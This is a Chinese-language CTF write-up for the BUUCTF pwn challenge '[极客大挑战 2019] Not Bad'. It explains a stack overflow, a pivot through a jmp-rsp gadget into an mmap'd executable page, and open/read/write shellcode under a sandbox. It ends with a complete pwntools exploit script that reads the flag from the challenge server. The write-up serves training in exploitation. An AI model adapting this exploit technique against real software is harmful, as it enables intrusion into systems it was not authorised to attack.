【BUUCTF】刷题记录:[极客大挑战 2019]Not Bad
[极客大挑战 2019]Not Bad
保护&源码
保护:

源码:
__int64 __fastcall main(int a1, char **a2, char **a3) { mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL); sub_400949(); sub_400906(); sub_400A16(); return 0LL; } int sub_400A16() { char buf[32];
puts("Easy shellcode, have fun!"); read(0, buf, 0x38uLL); return puts("Baddd! Focu5 me! Baddd! Baddd!"); }
|
思路
没有开NX保护,大概率要用shellcode,但是本题开了沙箱,我们只能以open,read,write这样的方式获取flag了。有栈溢出,只能溢出0x10个字节,而buf本身也只有0x20个字节,二者都达不到我们写的shellcode的长度,我们只能想其他办法。
mmap()函数用于将一个文件或者设备映射到内存中,从而允许对其进行直接的读写操作。本题中mmap为我们分配了一块可读可写的内存,起始地址为0x123000长度为0x1000一个内存页。
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
|
也就是说我们可以把shellcode布置到mmap为我们分配的地址上,然后再调用shellcode所在的地址即0x123000即可。这一步的payload如下:
mmap = 0x123000 call_0x123000 = asm('''mov rax,0x123000;call rax''') payload = asm(shellcraft.read(0,mmap,0x100))+call_0x123000
|
我来解释一下上面的内容:shellcraft.read(0,mmap,0x100)的意思是从标准输入中读入数据写到mmap为我们分配的地址上,然后用mov rax,0x123000;call rax这两个指令,调用即可。
但是我们只能溢出16个字节,上面这些肯定超出了16个字节,所以我们可以把这些布置到buf中,然后再栈迁移到buf的起始地址即可,完整的payload如下:
mmap = 0x123000 jmp_rsp = 0x400A01 sub_rsp_jmp = asm('''sub rsp,0x30;jmp rsp''')
call_0x123000 = asm('''mov rax,0x123000;call rax''')
payload = (asm(shellcraft.read(0,mmap,0x100))+call_0x123000).ljust(0x28,b'\x00') payload += p64(jmp_rsp)+sub_rsp_jmp
|
然后我们利用shellcraft生成open,read,write的shellcode。shellcraft是pwntools库的一部分,是一个用于生成各种shellcode的模块。
mmap = 0x123000 orw_shellcode = shellcraft.open('./flag') orw_shellcode += shellcraft.read(3,mmap,0x50) orw_shellcode += shellcraft.write(1,mmap,0x50)
|
exp
from tools import *
p = remote("node5.buuoj.cn",28453)
context.arch='amd64'
mmap = 0x123000 jmp_rsp = 0x400A01 sub_rsp_jmp = asm('''sub rsp,0x30;jmp rsp''') call_0x123000 = asm('''mov rax,0x123000;call rax''') payload = (asm(shellcraft.read(0,mmap,0x100))+call_0x123000).ljust(0x28,b'\x00') payload += p64(jmp_rsp)+sub_rsp_jmp p.recvline() p.sendline(payload)
orw_shellcode = shellcraft.open('./flag') orw_shellcode += shellcraft.read(3,mmap,0x50) orw_shellcode += shellcraft.write(1,mmap,0x50) shellcode = asm(orw_shellcode) p.sendline(shellcode)
p.interactive()
|
拿到flag
